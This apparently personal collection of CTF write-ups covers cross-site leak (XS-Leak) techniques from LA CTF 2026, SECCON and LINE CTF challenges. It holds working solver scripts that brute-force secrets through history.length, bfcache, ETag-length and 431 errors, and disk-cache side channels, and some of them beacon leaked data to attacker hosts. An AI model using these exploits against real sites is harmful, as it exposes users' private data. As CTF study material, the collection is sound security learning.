Skip to content

XSLeak

for ad-note I had a solution that was too slow but still interesting. By setting the attribute name=NAME, all ad iframes get the the name NAME, and reading on the window reference .NAME would return t...

Created

Updated

52 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

XS-Leak via Window Reference Displacement (Named Frame Race Condition)

Event NameLA CTF
GitHub URLhttps://github.com/bliutech/my-ctf-challenges/blob/main/lactf-2026/ad-note/solve.html itended
Challenge Namead-note
Attachment

bot js same as ad-note revenge below

References:

for ad-note I had a solution that was too slow but still interesting. By setting the attribute name=NAME, all ad iframes get the the name NAME, and reading on the window reference .NAME would return the first ad iframe. You could also iterate over the indices like [0] to [10] to get all iframe windows, including the result iframe. You can compare two window references cross-origin with === to see at what index the first ad iframe was, most often index 0. But there's a small chance the result iframe was randomly ordered before it, so the first ad index with match index 1. This would only happen if there is a result iframe that can displace it.

So by reloading every possible character until one gets displaced, we know that character was correct, and continue from there. This requires some 🎰 luck though because window loads take some time. could be significantly faster with caching but that was disabled

for (let i = 0; i < w.length; i++) {
  if (w[i] == w.NAME) console.log(i)
}
<script>
  const ALPHABET = "345";
  //const HOST = "https://notes-revenge-wfgqp.instancer.lac.tf";
  const HOST = "http://localhost:4000";
  //w = window.open("about:blank");
  const ws = Array(ALPHABET.length).fill().map(() => window.open("about:blank"));
  let stopSearch = false;
  const attemptCounts = Array(ALPHABET.length).fill(0);

  function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  async function test(w, search) {
    w.location = HOST + "/?" + new URLSearchParams({
      name: "x",
      referrerPolicy: "NAME",
      search
    });

    // Wait for iframes to be loaded
    while (true) {
      try {
        if (stopSearch || w.NAME) break;
      } catch (e) { }
      await sleep(1);
    }

    // Check if result took place of first NAME
    console.log(search, "Length:", w.length);
    for (let i = 0; i < w.length; i++) {
      if (w[i] == w.NAME) {
        console.log(search, "Found at index:", i);

        // Wait for same-origin
        w.location = "about:blank";
        while (true) {
          try {
            if (w.origin) break;
          } catch (e) { }
          await sleep(1);
        }

        return i;
      }
    }
  };

  async function repeatTest(w, search, resolve, index) {
    while (!stopSearch) {
      const result = await test(w, search);
      attemptCounts[index]++;
      if (result != 0) {
        // If result got in between
        stopSearch = true;
        resolve(search);
        return;
      }
    }
  }

  async function find(prefix) {
    stopSearch = false;
    const promises = [];
    for (let i = 0; i < ALPHABET.length; i++) {
      const search = prefix + ALPHABET[i];
      promises.push(new Promise(resolve => repeatTest(ws[i], search, resolve, i)));
    }
    return await Promise.race(promises);
  }

  // Log stats every 5 seconds
  setInterval(() => {
    fetch(`/log?stats=${attemptCounts}`);
  }, 5000);

  (async () => {
    let prefix = "";
    for (let i = 0; i < 8; i++) {
      const nextChar = await find(prefix);
      prefix += nextChar;
      console.log("Found character:", nextChar, "Current prefix:", prefix);
      fetch(`/log?PREFIX=${prefix}`);
    }
  })();
</script>
<!-- http://127.0.0.1:8000/ -->

`

XS-Leak via History API (Frame Navigation)

Event NameLA CTF (inferred from .lac.tf domain)
GitHub URLhttps://github.com/bliutech/my-ctf-challenges/blob/main/lactf-2026/ad-note/solve.html
Challenge Namead-note revenge (chained with job-board)
Attachment
bot.js
async function sleep(ms) {
    return new Promise((res) => setTimeout(res, ms));
}

module.exports = {
    name: "ad-note-revenge",
    async execute(browser, url) {
        const page = await browser.newPage();

        let CHALL_HOST;
        let CHALL_URL;
        if (CHALL_HOST = process.env.CHALL_AD_NOTE_REVENGE_HOST) {
        } else if (process.env.INSTANCER_METADATA) {
            CHALL_HOST = JSON.parse(process.env.INSTANCER_METADATA).http.notes[4000];
            CHALL_URL = `https://${CHALL_HOST}`;
        } else {
            CHALL_HOST = 'localhost';
            CHALL_URL = 'http://localhost:4000';
        }

        const ADMIN_PASSWORD = process.env.CHALL_AD_NOTE_REVENGE_ADMIN_PASSWORD || 'password';

        await page.setCookie({
            name: "admin",
            value: ADMIN_PASSWORD,
            domain: CHALL_HOST,
            httpOnly: true,
            sameSite: "Lax",
        });

        // Acquire nonce
        await page.goto(`${CHALL_URL}/nonce`);
        const element = await page.waitForSelector('p');
        const nonce = await element.evaluate(el => el.textContent);
        if (nonce === '1 per 1 minute') {
            return {error: 'Ratelimited on /nonce endpoint'};
        }

        // Creates a secret note.
        await page.goto(`${CHALL_URL}/create`);
        await page.waitForSelector('#note-content');
        await page.type('#note-content', nonce);
        await page.click('button[type=submit]');
        await page.waitForNavigation();

        // Visits the URL
        await page.goto(url);
        await sleep(60_000);

        // Delete the nonce
        await page.goto(`${CHALL_URL}/delete?nonce=${nonce}`);

        await page.close();
    },
};
Reerence

tl;dr about the challenge

This challenge involves chaining two challenges ("job-board" and "ad-note revenge") to execute a Cross-Site Leak (XS-Leak). Because the target iframes are cross-domain, direct DOM access is restricted by the Same-Origin Policy. However, an attacker can still interact with iframe.contentWindow[i].location and monitor the browser's History API.

The exploit leverages a differential behavior in browser history navigation:

  • The Setup: The "job-board" challenge is used to spawn a same-site iframe to the "ad-note revenge" challenge, securing access to the site with the admin cookie.
  • The Oracle: The attacker loads the target page with a guessed search query (search=${current}).
  • The Leak: The attacker iterates through the child iframes (the ad iframe and the search result iframe) and forces them to navigate to about:srcdoc.
  • The Measurement: Every time a frame navigates to a new location, window.history.length increases. However, if the ad iframe is already at about:srcdoc, the navigation does not push a new state to the history, meaning the history length remains unchanged.
  • The Exfiltration: By observing whether w.history.length increments or stalls, the script can definitively tell if the search query successfully matched the secret character. It loops through a charset (abcdef0123456789) until the full 8-character string is brute-forced and beaconed back to the attacker's server.
  • solver

    Ad-note revenge writeup

  • Use the job-board challenge to create a same-site iframe to the ad-note challenge, so you can access the site with the admin cookie.
  • You can access the ad iframe and the result iframe via iframe.contentWindow[i]. However, what you can do is limited because they are cross-domain.
  • You can change the location of the ad/result iframe using iframe.contentWindow[i].location = "...".
  • When you do this, the navigation is usually pushed to the History API, so you can observe it via changes in history.length.
  • However, the navigation doesn't happen if the page is already at the same location. Therefore, navigating to about:srcdoc only happens for the ad iframe.
  • &<>"'
    <script>
      const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    
      const key = "foo";
      const val = "bar";
      const base = "<https://notes-revenge-7j6b6.instancer.lac.tf/>";
    
      const chrs = "abcdef0123456789";
      addEventListener("load", async () => {
        let known = "";
        while (known.length < 8) {
          let results = [];
          await Promise.all(
            Array.from(chrs, async (c) => {
              const current = known + c;
    
              const blob = new Blob(["<iframe id=x></iframe>"], {
                type: "text/html",
              });
              const w = open(URL.createObjectURL(blob));
              while (w.length == 0) await sleep(1);
              const iframe = w.x;
    
              iframe.src = `${base}?${encodeURIComponent(key)}&referrerPolicy=${encodeURIComponent(val)}&search=${current}`;
    
              while (iframe.contentWindow.length < 6) await sleep(1);
              await sleep(1000);
              const l1 = w.history.length;
              for (let i = 0; i < iframe.contentWindow.length; i++) {
                iframe.contentWindow[i].location = "about:srcdoc";
                await sleep(200);
              }
              let l2 = w.history.length;
              while (l2 - l1 !== iframe.contentWindow.length) {
                await sleep(1);
                if (results.length === chrs.length - 1) {
                  known = current;
                  navigator.sendBeacon("<https://attacker.site/?leak=>" + known);
                  console.log(new Date());
                  results = [];
                  w.close();
                  return;
                }
                l2 = w.history.length;
              }
              w.close();
              results.push(current);
            }),
          );
        }
      });
    </script>

    200 (client side redirect) vs 400 (client side redirect) xsleak

    Event NameLACTF 2026
    GitHub URLmy-ctf-challenges/lactf-2026/append-note/solve at main · bliutech/my-ctf-challenges
    Challenge NameExtend Note
    Attachments
    bot.js
    async function sleep(ms) {
        return new Promise((res) => setTimeout(res, ms));
    }
    
    module.exports = {
        name: "extend-note",
        async execute(browser, url) {
            const page = await browser.newPage();
    
            let CHALL_HOST;
            if (CHALL_HOST = process.env.CHALL_APPEND_NOTE_HOST) {
            } else if (process.env.INSTANCER_METADATA) {
                CHALL_HOST = JSON.parse(process.env.INSTANCER_METADATA).http.app[4000];
            } else {
                CHALL_HOST = 'localhost';
            }
            const ADMIN_PASSWORD = process.env.CHALL_EXTEND_NOTE_ADMIN_PASSWORD || 'password';
    
            const cookie = {
                name: "admin",
                value: ADMIN_PASSWORD,
                domain: CHALL_HOST,
                httpOnly: true,
                sameSite: "Lax"
            };
    
            await page.setCookie(cookie);
    
            // Visits the URL
            await page.goto(url);
            await sleep(60_000);
    
            await page.close();
        },
    };
    
    References

    Intended for append-note / extend-note was to use bfcache quota exhaustion xs-leak. Chrome has a max quota of 6 pages in the bfcache so you depending on whether or not the page 200 or 404s, the least recently used page gets evicted and you can either use loaded events or the recently introduced NotRestoredReasons API to detect this.

    Here is my solver: https://github.com/bliutech/my-ctf-challenges/tree/main/lactf-2026/append-note/solve

    solver
    import asyncio
    import httpx, json
    # from pyngrok import ngrok
    from flask import Flask, request, make_response
    from threading import Thread
    
    PORT = 4444
    # TUNNEL = httpx.URL(ngrok.connect(PORT, "http").public_url)
    TUNNEL = "http://1pc.tf:4444"
    TARGET = httpx.URL("http://localhost:4000")
    
    print("TUNNEL:", TUNNEL)
    
    URL = "https://94.237.48.219:41733/"
    
    class BaseAPI:
        def __init__(self, url=URL) -> None:
            self.c = httpx.AsyncClient(base_url=url, verify=False)
            self.session = ""
    class API(BaseAPI):
        ...
    def webServer():
        app = Flask(__name__)
        already = {}
    
        @app.get("/")
        def index():
            response = make_response(r"""
                <script>
                    localStorage.clear()
                    const TARGET = new URL("%s")
                    const charset_hex = "0123456789abcdef"
                    let secret = ""
                    const sleep = ms => new Promise(r => setTimeout(r, ms))
                    async function main(){
                        for (let i = 0; i < 8; i++) {
                            for (let j = 0; j < charset_hex.length; j++) {
                                const guess = secret + charset_hex[j]
                                const w = open("/start?guess="+guess, '_blank', 'noopener,noreferrer')
                                await sleep(5000)
                                if (localStorage.getItem("oracle_"+guess) == 'true') {
                                    secret = guess
                                    break
                                }
                            }
                        }
                    }
                    main()
                </script>
            """ % (str(TARGET)))
            response.headers["Cross-Origin-Opener-Policy"] = "same-origin"
            return response
        @app.get("/start")
        def start():
            guess = request.args.get("guess")
            response = make_response("""
                <script type="module">
                    window.onpageshow = async function(event) {
                        const guess = "%s"
                        const visited = localStorage.getItem(guess) === 'true';
                        if (!visited) {
                            localStorage.setItem(guess, true);
    
                            setTimeout(() => {
                                window.location.href = '/redirect/4?guess='+guess;
                            }, 100);
    
                            return;
                        }
                        const oracle = performance.getEntriesByType("navigation")[0]?.notRestoredReasons ? true : false;
                        console.log(guess, performance.getEntriesByType("navigation")[0]?.notRestoredReasons, event.persisted);
                        localStorage.setItem("oracle_"+guess, oracle);
                    };
                </script>
            """ % (guess))
            response.headers["Cache-Control"] = "no-store"
            return response    
        @app.get("/redirect/<until>/<now>")
        def redirect_until_now(until, now):
            guess = request.args.get("guess")
            response = make_response()
            response.headers["Cache-Control"] = "no-store"
    
            if int(now) == int(until):
                response.set_data(r"""
                <script>
                    setTimeout(() => {
                        const TARGET = new URL("%s")
                        window.location.href = TARGET.origin + "/append?content=%s&url="+location.origin+"\\\\@"+TARGET.hostname
                    }, 100);
                </script>
                """ % (str(TARGET), guess))
            else:
                response.set_data("""
                <script>
                setTimeout(() => {
                    window.location.href = "/redirect/" + "%s" + "/" + "%s?guess=%s";
                }, 100);
                </script>
            """  % (until, int(now) + 1, guess))
            return response 
        @app.get("/redirect/<until>")
        def redirect_until(until):
            return redirect_until_now(until, 0)
    
    
        @app.get("/@"+TARGET.host)
        def go_7():
            return """
                <script>
                    history.go(-7);
                </script>
            """
        return Thread(target=app.run, args=('0.0.0.0', PORT))
    
    
    
    async def main():
        api = API()
        server = webServer()
        server.start()
        server.join()
    
    if __name__ == "__main__":
        asyncio.run(main())
    

    Cross-Site ETag Length Leak

    Attachments
    References

    Exploit

    Solution

    Step 1: ETag Header Length

    The first step in solving such challenges is to carefully compare observable differences between:

  • when the search hits the flag note, and
  • when it misses.
  • When the search hits:

    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: text/html; charset=utf-8
    Content-Length: 484
    ETag: W/"1e4-Mfh5EeZSATTUBTZ0fvEzgdvLYu4"
    Date: ...
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    ... snip ...
    

    When it misses:

    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: text/html; charset=utf-8
    Content-Length: 443
    ETag: W/"1bb-Ouz/TB1WQCg6QhEFVloBFY6TJKk"
    Date: ...
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    ... snip ...
    

    The response body is larger when it hits (because it renders the matching note), so Content-Length changes. The key observation is that the ETag value changes too and more importantly, its length can change.

    In this app, the ETag is generated by jshttp/etag. The format includes the content size in hex as a prefix:

    W/"{{ stat.size.toString(16) }}-{{ stat.mtime.getTime().toString(16) }}"
    

    Reference: https://github.com/jshttp/etag/blob/v1.8.1/index.js#L126-L131

    Because the size is encoded in hex, the number of hex digits changes at boundaries (e.g., 0xfff -> 0x1000). That means the ETag length can differ by 1 depending on whether the response size crosses such a boundary.

    In this challenge, we can control the response size by abusing CSRF to create many notes in the victim's session. This allows us to manipulate the total response size so that:

  • search hit -> response size becomes 0x1000 + ... (4 hex digits)
  • search miss -> response size stays at 0xfff (3 hex digits)
  • It produces a 1-byte difference in the ETag length.

    Below is an example CSRF page that prepares two prefixes: one that matches the flag note (SECCON{r...) and one that does not.

    <body>
    <formid="create"action="..."method="post"target="csrf">
    <inputtype="text"name="note"/>
    </form>
    <scripttype="module">
    constBASE_URL="http://web:3000";
    
    constsleep=(ms)=>newPromise((resolve)=>setTimeout(resolve, ms));
    
    const csrfWin=open("about:blank","csrf");
    constcreateNote=async(note)=>{
    const form=document.forms[0];
          form.action=`${BASE_URL}/new`;
          form.note.value= note;
          form.submit();
    awaitsleep(100);
    };
    
    const prepared=newSet();
    constprepare=async(prefix)=>{
    if(prepared.has(prefix))return;
          prepared.add(prefix);
    
    const initialLen=443;
    const part="\n        <li>"+"</li>\n      ";
    
    let len= initialLen;
    while(16**3- len- part.length-1>0){
    const note= prefix.padEnd(
    Math.min(1024,16**3- len- part.length-1),
    "*"
    );
            len+= note.length+ part.length;
    awaitcreateNote(note);
    }
    };
    
    awaitprepare("SECCON{r");// Matches `SECCON{redacted}`
    awaitprepare("SECCON{x");// Does not match `SECCON{redacted}`
    </script>
    </body>
    

    After visiting the page, the responses appear as follows.

    Hit (?query=SECCON{r):

    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: text/html; charset=utf-8
    Content-Length: 4136
    ETag: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
    Date: ...
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    ... snip ...
    
    Image

    Miss (?query=SECCON{x):

    HTTP/1.1 200 OK
    X-Powered-By: Express
    Content-Type: text/html; charset=utf-8
    Content-Length: 4095
    ETag: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"
    Date: ...
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    ... snip ...
    
    Image
  • Hit: ETag: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
    • Response size: 0x1028
    • ETag length: 36
  • Miss: ETag: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"
    • Response size: 0xfff
    • ETag length: 35
  • info

    The ETag format is implementation-defined. In particular, many implementations (including jshttp/etag) can generate ETags whose length is not constant.

    Examples of software that can generate variable-length ETags:

  • Apache httpd (configurable): https://httpd.apache.org/docs/current/en/mod/core.html#fileetag
  • Nginx: https://github.com/nginx/nginx/blob/release-1.29.4/src/http/ngx_http_core_module.c#L1715-L1717
  • Tomcat: https://github.com/apache/tomcat/blob/11.0.15/java/org/apache/catalina/webresources/AbstractResource.java#L74
  • H2O: https://github.com/h2o/h2o/blob/v2.2.6/lib/common/filecache.c#L167
  • Step 2: 431 Status Error

    What can we do with this 1-byte difference in ETag length?

    If a response includes an ETag header, a subsequent request to the same URL will include the If-None-Match header:

  • Hit: If-None-Match: W/"1028-7DssyPmtuJFW+hsMczlljuIGJC8"
  • Miss: If-None-Match: W/"fff-j/5Cw0uvoM8vDCtG7hABgyD9RvM"
  • So the request headers on the second navigation become slightly longer in the hit case.

    Many web servers enforce a maximum allowed size for request headers (including the request-line) as a DoS mitigation. If the request exceeds this limit, the server returns 431 Request Header Fields Too Large.

    In this challenge, Express runs on node:http, which has a request header size limit http.maxHeaderSize (default: 16 KiB):

    https://github.com/nodejs/node/blob/v25.2.1/src/node_options.h#L159

    uint64_t max_http_header_size=16*1024;
    
    Image

    By padding the URL so that the total header size is right at the threshold, the extra 1 byte in If-None-Match can be the difference between:

  • If the header size is still under the limit: 200 OK
  • If the header size is just over the limit: 431 Request Header Fields Too Large
  • If the URL is "http://web:3000?query=SECCON{r&" + "X".repeat(15834) (hit case):

  • 1st access: 200 OK
  • 2nd access: 431 Request Header Fields Too Large
  • Image

    If the URL is "http://web:3000?query=SECCON{x&" + "X".repeat(15834) (miss case):

  • 1st access: 200 OK
  • 2nd access: 200 OK
  • Image

    Step 3: History API Behavior

    Now we need to detect whether or not a 431 error occurs on cross-site pages.

    Normally, cross-origin status codes are opaque. However, in this case, we can exploit a Chromium-specific behavior regarding session history updates.

    When a navigation happens, the browser typically "pushes" a new history entry, increasing history.length by 1. However, Chromium sometimes "replaces" the current entry instead of pushing a new one.

    Chromium uses should_replace_current_entry to decide between "push" and "replace":

    https://chromium.googlesource.com/chromium/src/%2B/refs/heads/main/content/browser/renderer_host/navigation_request.cc#7020

          blink::mojom::NavigationApiEntryRestoreReason reason=
              common_params_->should_replace_current_entry
    ? blink::mojom::NavigationApiEntryRestoreReason::
                        kPrerenderActivationReplace
    : blink::mojom::NavigationApiEntryRestoreReason::
                        kPrerenderActivationPush;
    

    One condition that can cause "replace" is when a navigation to the same URL fails (with an invalid page_state):

  • https://chromium.googlesource.com/chromium/src/%2B/refs/heads/main/content/browser/renderer_host/navigation_request.cc#6340
  • https://source.chromium.org/chromium/chromium/src/+/df9f2fd80f9b8697c877c2c7e7f19d9f389291b8:content/browser/renderer_host/navigation_request.cc;l=10679
  • Therefore, if we navigate to the same URL twice in a row and the second navigation fails due to a 431 error, those two navigations contribute only one new history entry (because the second navigation replaces the first).

    This means we can detect 431 by measuring history.length on a window we control.

    A minimal demo looks like this:

    let win=open("about:blank");
    
    constgetUrl=(prefix, padLength, nonce)=>
    `${BASE_URL}/?${newURLSearchParams({
    query: prefix,
    pad: nonce.padEnd(padLength,"x"),
    })}`;
    
    constgot431=async(prefix, padLength)=>{
    awaitprepare(prefix);
    
    const nonce=(Math.random()+"").padEnd(20,"0");
    const url=getUrl(prefix, padLength, nonce);
    
    const len1= win.history.length;
    
          win.location= url;
    awaitsleep(100);
          win.location= url;
    awaitsleep(100);
          win.location="about:blank";
    awaitsleep(100);
    const len2= win.history.length;
    
    const diff= len2- len1;
    // If a 431 error occurs: diff === 2
    // Otherwise: diff === 3
    
    console.log({ prefix, len1, len2, diff});
    return diff===2;
    };
    
    const threshold=15822;// TODO: Not implemented
    
    console.log(awaitgot431("SECCON{r", threshold));// -> true
    console.log(awaitgot431("SECCON{x", threshold));// -> false
    
    Image

    The following diagrams illustrate the concept.

    When searching for

    SECCON{r

    (flag note

    hit

    ):

    Image

    When searching for

    SECCON{x

    (flag note

    miss

    ):

    Image

    Putting It All Together

    The final exploit combines:

  • Using CSRF to create many notes, and tuning the response size near a hex boundary in ETag
  • URL padding to push the second request near Node's header-size threshold
  • Measuring history.length to detect whether the second navigation turns into a 431 error
  • The final exploit looks like this:

    <body>
    <formid="create"action="..."method="post"target="csrf">
    <inputtype="text"name="note"/>
    </form>
    <scripttype="module">
    constBASE_URL="http://web:3000";
    constCHARS=[..."_abcdefghijklmnopqrstuvwxyz"];
    
    constsleep=(ms)=>newPromise((resolve)=>setTimeout(resolve, ms));
    constdebug=(o)=>navigator.sendBeacon("/debug",JSON.stringify(o));
    // const debug = (o) => console.log(o);
    
    let known=newURLSearchParams(location.search).get("known")??"SECCON{";
    
    const csrfWin=open("about:blank","csrf");
    constcreateNote=async(note)=>{
    const form=document.forms[0];
          form.action=`${BASE_URL}/new`;
          form.note.value= note;
          form.submit();
    awaitsleep(100);
    };
    
    const prepared=newSet();
    constprepare=async(prefix)=>{
    if(prepared.has(prefix))return;
          prepared.add(prefix);
    
    const initialLen=443;
    const part="\n        <li>"+"</li>\n      ";
    
    let len= initialLen;
    while(16**3- len- part.length-1>0){
    const note= prefix.padEnd(
    Math.min(1024,16**3- len- part.length-1),
    "*"
    );
            len+= note.length+ part.length;
    awaitcreateNote(note);
    }
    };
    
    let win=open("about:blank");
    
    constgetUrl=(prefix, padLength, nonce)=>
    `${BASE_URL}/?${newURLSearchParams({
    query: prefix,
    pad: nonce.padEnd(padLength,"x"),
    })}`;
    
    constgot431=async(prefix, padLength)=>{
    awaitprepare(prefix);
    
    const nonce=(Math.random()+"").padEnd(20,"0");
    const url=getUrl(prefix, padLength, nonce);
    
    const len1= win.history.length;
    
          win.location= url;
    awaitsleep(100);
          win.location= url;
    awaitsleep(100);
          win.location="about:blank";
    awaitsleep(100);
    const len2= win.history.length;
    
    const diff= len2- len1;
    // If a 431 error occurs: diff === 2
    // Otherwise: diff === 3
    
    if(len2>45){
    // In Chromium, the maximum number of `history.length` is 50.
    // ref. https://source.chromium.org/chromium/chromium/src/+/df9f2fd80f9b8697c877c2c7e7f19d9f389291b8:third_party/blink/public/common/history/session_history_constants.h;l=11
            win.close();
            win=open("about:blank");
    awaitsleep(100);
    }
    
    debug({ prefix, len1, len2, diff});
    return diff===2;
    };
    
    let left=10000;
    let right=18000;
    constgetThreshold=async()=>{
          left-=50;
    while(right- left>1){
    const mid=(right+ left)>>1;
    if(awaitgot431(known+"X", mid)){
              right= mid;
    }else{
              left= mid;
    }
    }
    
    return left;
    };
    
    while(true){
    const threshold=awaitgetThreshold();
    debug({length: known.length, threshold});
    let exists=false;
    for(const cofCHARS){
    if(awaitgot431(known+ c, threshold)){
              known+= c;
              exists=true;
    navigator.sendBeacon("/leak", known);
    break;
    }
    }
    if(!exists)break;
    }
    
    const flag= known+"}";
    navigator.sendBeacon("/flag", flag);
    </script>
    </body>
    

    Full exploit:

  • https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202512_SECCON_CTF_14_Quals/web/impossible-leak/solution/index.html
  • Example run:

    $ docker run-it--rm \
    -eBOT_BASE_URL=http://impossible-leak.seccon.games:1337 \
    -eCONNECTBACK_URL=http://attacker.example.com \
    -p8080:8080 \
    (docker build-q./solution)
    Report:1
    [DEBUG]{"prefix":"SECCON{X","len1":0,"len2":3,"diff":3}
    [DEBUG]{"prefix":"SECCON{X","len1":3,"len2":5,"diff":2}
    [DEBUG]{"prefix":"SECCON{X","len1":5,"len2":8,"diff":3}
    ...
    [DEBUG]{"prefix":"SECCON{X","len1":30,"len2":32,"diff":2}
    [DEBUG]{"length":7,"threshold":15799}
    [DEBUG]{"prefix":"SECCON{_","len1":32,"len2":35,"diff":3}
    [DEBUG]{"prefix":"SECCON{a","len1":35,"len2":38,"diff":3}
    [DEBUG]{"prefix":"SECCON{b","len1":38,"len2":41,"diff":3}
    [DEBUG]{"prefix":"SECCON{c","len1":41,"len2":44,"diff":3}
    [DEBUG]{"prefix":"SECCON{d","len1":44,"len2":47,"diff":3}
    [DEBUG]{"prefix":"SECCON{e","len1":0,"len2":3,"diff":3}
    [DEBUG]{"prefix":"SECCON{f","len1":3,"len2":6,"diff":3}
    [DEBUG]{"prefix":"SECCON{g","len1":6,"len2":9,"diff":3}
    [DEBUG]{"prefix":"SECCON{h","len1":9,"len2":12,"diff":3}
    [DEBUG]{"prefix":"SECCON{i","len1":12,"len2":15,"diff":3}
    [DEBUG]{"prefix":"SECCON{j","len1":15,"len2":18,"diff":3}
    [DEBUG]{"prefix":"SECCON{k","len1":18,"len2":21,"diff":3}
    {known:'SECCON{l'}
    [DEBUG]{"prefix":"SECCON{l","len1":21,"len2":23,"diff":2}
    [DEBUG]{"prefix":"SECCON{lX","len1":23,"len2":26,"diff":3}
    ...
    {known:'SECCON{lu'}
    [DEBUG]{"prefix":"SECCON{lu","len1":9,"len2":11,"diff":2}
    [DEBUG]{"prefix":"SECCON{luX","len1":11,"len2":14,"diff":3}
    [DEBUG]{"prefix":"SECCON{luX","len1":14,"len2":17,"diff":3}
    ...
    {flag:'SECCON{lumiose_city}'}
    

    Other Cases

    In this writeup, we turned an ETag length difference into an XS-Leak oracle. A closely related variant exists where the oracle relies on a binary state: Does the response have an ETag or not?

    Here is an example from a past CTF (as an unintended solution) where this applies:

  • Ippon Practice Tool - Full Weak Engineer CTF 2025
  • It is an XS-Leak challenge where HTML injection exists (CSP prevents XSS). However, using the technique described in this article, it becomes solvable even without relying on HTML injection.

    In the application, normal pages include an ETag. On the other hand, the GET /search API uses res.end when no results are found, which results in the ETag being omitted entirely. This makes the "ETag presence vs. absence" observable using the same oracle approach described here.

    https://github.com/tepel-chen/My-CTF-Challs/blob/main/Full%20Weak%20Engineer%20CTF%202025/Ippon%20Practice%20Tool/attachment/app/index.ts#L172-L180

    const answers=await db.all(
    `SELECT a.id, o.text, a.created_at FROM answer AS a INNER JOIN odai AS o ON a.odai=o.id WHERE owner = ? AND content LIKE ? ESCAPE '\\' ORDER BY created_at DESC`,
        uid,
    `%${escapeLike(q)}%`
    );
    
    if(answers.length===0){
    return res.end("<html><body>Not found. <a href='/'>Home</a></body></html>");
    }
    

    Conclusion

    I showed that it is possible to leak the length of an ETag from a cross-site page, turning it into an XS-Leak oracle by leveraging 431 errors and a History API behavior in Chromium.

    The ETag header can become a side channel :)

    Unitended

    XS Leaks using disk cache grooming

    https://gist.github.com/parrot409/e3b546d3b76e9f9044d22456e4cc8622

    The admin bot creates a new browsing context with createBrowsingContext() and uses that to create a page. Each browsing context should have a dedicated disk cache but how does chrome handle this? I deduced that it uses in-memory disk cache and it's much smaller than the default on-disk disk cache. The incognito tab of my browser has the same behavior.

    The following page alerts "not cached" due to cache miss in incognito mode but no error happens in a regular tab.

    $ head /dev/urandom -c 5242880 > chunk
    $ cat <<EOF > index.html
    <script>
    (async _=>{
       for(let i=0;i<20;i++) await fetch('/chunk?'+i)
       try {
           for(let i=0;i<20;i++) await fetch('/chunk?'+i,{cache:'only-if-cached',mode:'same-origin'})
       } catch(e){ alert('not cached') }
    })()
    </script>
    EOF
    $ python3 -m http.server 2000
    

    The exploit uses the following strategy:

  • push 1 entry of size 1b
  • push 49 entries of size 1mb
  • push 599 entries of size 1kb
  • push //challenge.com/search?query=SECCON&i for i from 0 to 200 with window.location
  • query the disk cache to see if the first entry we pushed is purged
  • We essentially "groom" the disk cache so that there's room for 200 entries from failed queries, but not enough room for 200 entries from successful queries.

    The search page size is 433 bytes for a failed query and 433 + flag.length bytes when the query matches part of the flag. This creates a size difference of flag.length * 200 bytes between bad and good searches. For a flag length of 24, this is about 5KB. A larger gap makes the detection less error prone.

    We can tell whether the cache was filled by a successful query by probing the first inserted 1 byte entry. When the cache limit is reached, the first entry gets evicted. Note that I think Chromium's eviction logic is more complex. in my testing it kept evicting the oldest entry once the limit is hit.

    I believe this technique can be reused against xsleaks search challenges where caching is not disabled on the search page. The downside is that it leaks only one state per run. It may be possible to perform multiple queries by clearing the cache or using a similar reset mechanism.

    DOMClobering and XSLEAK

    Event NameLINE CTF 2025
    GitHub URL-
    Challenge NameHomework
    Attachments
    References

    solution 1

    For homework , we used img's alt message for triggering lazy loading to determine whether server responded valid image (200) or not (40x, 50x)

    <input type="text" name="score">
    <a href="#leaker" id="setScoreBtn">asdf</a>
    <div style="width: 9999px; height: 9999px; display: block"></div>
    <div id="leaker">
    
    <div style="font-size: 10rem; overflow-x: auto; white-space: nowrap">
        <div style="width: 40px;  height: 30px;">
            <img src="/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2=0%25" alt="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
            <img style="margin-left: 30px" loading="lazy" src="/api/homework/mark?id=....&score=10">
        </div>
    </div>
    
    <div style="font-size: 10rem; overflow-x: auto; white-space: nowrap">
        <div style="width: 40px; height: 30px;">
            <img src="/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2=81%25" alt="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
            <img style="margin-left: 30px" loading="lazy" src="/api/homework/mark?id=....&score=11">
        </div>
    </div>
    
    solution 2
    payload = f'''
    <img src="/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2={founded}{hex(i)[2:]}%25" usemap="#web-link-map" id="setScoreBtn">
    <map name="web-link-map">
    <area target="_blank" href="/api/homework/mark?id={scores[str(i)]}&score=1337" coords="10, 10, 4000,4000" shape="rect">
    </map>
    '''
    r = s.post(f"{base}/api/homework/create", json={"title": f"ex-{str(x)}-{str(i)}", "content": payload}, verify=False)
    

    also img combined with map could be solution for homework chall.

    puppeteer's click method actually click the center point of target html tag area, so when /api/user/avatar match, it returns right image to click it, but otherwise, it cannot click the image. So I could get token one by one with the difference of score(triggerd by mark func)

    solution 3 (not work)

    for the homework chall, we can also clobber setScoreBtn, cuz the original setScoreBtn element is below of our injection point. maybe we can then leak the X-API-Key header:

    <a href='<http://attacker.com/>' id='setScoreBtn'>clobbered</a>
    

    bot:

    // set a random score for the homework
    let score = 1 + crypto.randomInt(100);
    await page.type('[name="score"]', score.toString());
    await page.click('[id="setScoreBtn"]');
    await sleep(1000);
    await page.close();
    

    but it doesn't seem to work on the bot? in fact, if we simply inject <img src='<http://attacker.com/>'>, the bot doesn't seem to fetch the request

    solution 4

    You are correct that XSS probably doesn't work here.

    The first step is to leak teacher's api_key through /api/user/avatar. Notice that the endpoint returns an image if and only if the condition is true. So we did SS-leak.

